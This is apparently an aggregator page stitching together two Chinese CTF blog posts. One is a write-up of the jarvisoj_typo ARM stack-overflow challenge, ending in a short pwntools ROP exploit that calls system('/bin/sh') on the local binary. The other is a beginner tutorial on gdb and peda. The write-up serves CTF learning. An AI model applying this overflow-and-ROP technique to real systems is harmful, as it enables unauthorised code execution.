ARM pwn 入门

Posted L3H_CoLin

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ARM pwn 入门相关的知识,希望对你有一定的参考价值。

上一篇文章中笔者对ARM架构的寄存器和指令集做了简单的介绍,本文就来首杀ARM pwn题。

buuoj 第139题 jarvisoj_typo

这一题是静态编译的程序,对于ARM可执行文件,在x86架构的虚拟机上可以使用qemu-arm ...来执行。

我们首先来执行看一下这个程序有什么输出。

在程序一开始输出了一段字符串,我们可以在IDA中用Shift+F12来查看elf文件中所有硬编码的字符串:

然后根据交叉引用找到该字符串被引用的位置:

根据程序的输入,我们可以猜测出其中一部分库函数,如这里的write、getchar等。看上去这是一个正常的输入程序,一个typing test,如果输入的内容和程序输出相同就会继续输出一个单词等待用户输入,否则输出error。

这里可以推测sub_8D24是关键输入函数。

这里的input应该就是输入的缓冲区,我们需要进行调试确定到底是哪一步执行了读取用户输入的操作:qemu-arm后加-g选项指定端口,就可以通过gdb-multiarch进行调试。经过调试发现上图中的read函数就是读取的函数,且最大读取大小为512字节,这明显就造成了栈溢出。

从上图可知,覆盖返回地址需要先输入0x70字节。在elf文件中可以发现字符串/bin/sh:

引用字符串/bin/sh的函数就是system函数。因此我们可以找到system函数的地址为0x10BA8。需要注意ARM架构函数的调用约定:前4个参数保存在R0~R3,之后的参数从右至左压栈。因此要想执行system("/bin/sh"),就需要将寄存器R0的值修改为字符串'/bin/sh'的地址,返回地址可以通过栈溢出直接修改。考虑到这是一个静态编译的文件,很容易就可以想到使用一个简单的ROP来实现寄存器修改操作。

找到合适的ROP地址为0x20904,可以在修改寄存器R0的值之后修改PC的值。现在可以编写exp了。

from pwn import *
context.arch='arm'
context.log_level='debug'

io = process(['qemu-arm-static', './typo'])
io.sendafter(b'quit\\n', b'\\n')
io.send(cyclic(0x70) + p32(0x20904) + p32(0x6c384) + p32(0) + p32(0x10ba8))

io.interactive()

成功getshell。这题看来不难,只是一个简单的不能再简单的ROP。

闭关学pwn番外——入门gdb

前言

gdb神器是linux下的一款调试工具,做pwn的时候经常需要动态调试查看堆栈信息,所以特意新开番外一篇来记录gdb的学习
这里放一些步骤

同时,学pwn时学一些调试过程中会用到的汇编也是重要的


gdb下载安装

kali下输入apt-get install gdb
这里科普一个gdb插件(神器)——peda!!!
peda的一个实用命令checksec检测安全保护
peda的另一个实用命令searchmem用搜索内存
同时会在调试过程中着色并显示反汇编代码,寄存器和内存信息
简而言之,就是pwn的神器
peda下载看这里


载入

先简单写一个c用于之后的编译
这里在桌面新建一个test.c,然后敲简单代码

之后打开终端
cat看一下

然后gcc编译一下

可以看到桌面默认产生了一个a.out

建议输入gcc -g test.c

-g 可以保留代码文字信息,便于调试的时候查看

如果不想要a.out,那就输入

gcc -g -o 1.out test.c

test.c 前面的-o 1.out表示编译后输出的文件名称

然后用载入到gdb,有两种方式

第一种:输入 gdb 1.out

第二种: 先输入gdb,再输入file 1.out

现在就跟shell一样,是可以输入命令的环境
我们可试试输入run启动程序(简写 r 也可以,gdb所有指令支持缩写)
所以接下来全简写

如果想要退出输入q

可以看到它很听话的退出了


设置断点

break指令设置断点,简写 b
设置断点有几种方法
第一种:
b 函数名
比如 b main

这里可以看到成功在main函数开始位置设置了断点

然后,r一下

可以看到有一堆东西,这是peda插件带来的快乐
同时看最后一行

说明断点设置成功了,当前停在了这里

如果想让程序继续运行,输入c(continue)

第二种:b 文件名:行号
比如 b 1.out:10

像这样效果是一样的

如果想要单步调试

输入n(next)可以单步调试程序

这样就跳到下一步了

这时候有个骚操作!什么指令都不输入直接回车,默认重复执行上一条指令

所以就可以按回车一直往下调试


进入函数

如果按照上述的步骤一步步n下来,你就会发现它遇到fun()函数的时候不会显示进去的过程,而是继续运行main的下一步

所以!敲黑板!!!

如果想要进入某个函数,用step命令

简写s

如图,这样就能进入函数了,然后继续nnn就可以逐步看函数里是如何调试的啦


查看源码

输入 list 简写 l 即可查看10行,如果想继续查看按回车即可
就像这样


查看变量的值

查看变量的值可以说是调试的灵魂啦!
print+变量名 或者 p +函数名
简写p
演示如下:

注:p+函数名的话就是返回地址啦

这里输出是16进制输出,所以10是0xa没错的!

如果p+数组名也可

很棒吧!!

同时!打印数组也支持索引


一些很少用但又很有用的指令

info b
查看断点信息(也就是你b过的)

同时也支持缩写,所以 i b 也可

如果想看寄存器的信息

i reg

就是这么清爽

同样可以 i r (这里不演示了)

删除全部断点 delete

删除指定断点 delete 序号
比如 delete 1
支持缩写,所以 d 和 d 1也可以的!!


一些做pwn调试的知识

参考blog先放这里
https://blog.csdn.net/chen1415886044/article/details/105094688
https://blog.csdn.net/niyaozuozuihao/article/details/91802994
https://blog.csdn.net/yifeng_1118/article/details/12125193

要调试C/C++的程序,首先在编译时,要使用gdb调试程序,在使用gcc编译源代码时必须加上“-g”参数。保留调试信息,否则不能使用GDB进行调试。

有一种情况,有一个编译好的二进制文件,你不确定是不是带有-g参数,带有GDB调试,这个时候你可以这样验证:

gdb 文件名


然后呢,一般pwn题想要进入函数s是不行的,需要si

n/s都是C语言级的断点定位。 s会进入C函数内部,但是不会进入没有定位信息的函数(比如没有加-g编译的代码,因为其没有C代码的行数标记,没办法定位),n不会。

ni/si都是汇编级别的断点定位。si会进入汇编和C函数内部,ni不会。

归纳:当要进入没有调试信息的库函数调试的时候,用si是唯一的方法。

当进入有调试信息的函数,用si和s都可以,但是他们不同,si是定位到汇编级别的第一个语句,但是s是进入到C级别的第一个语句

譬如si就是在0x80483e8.用s就是0x80483f1;

所以,我们拿到的pwn题想要gdb要这几个步骤

gdb (文件名)然后观察是否出现(no debugging…)

然后设置断点b n n n下一步,如果想要看某些参数p + 变量名

如果想要进入某个函数,输入si ,s是没用的。

大致就这样,全干货 !!

今天还早,听会歌继续肝~

以上是关于ARM pwn 入门的主要内容,如果未能解决你的问题,请参考以下文章

ARM PWN基础教程

天枢信息安全社团招新

Linux下pwn从入门到放弃

开坑CTF-pwn-入门

环境的搭建--PWN入门系列

闭关学pwn番外——入门gdb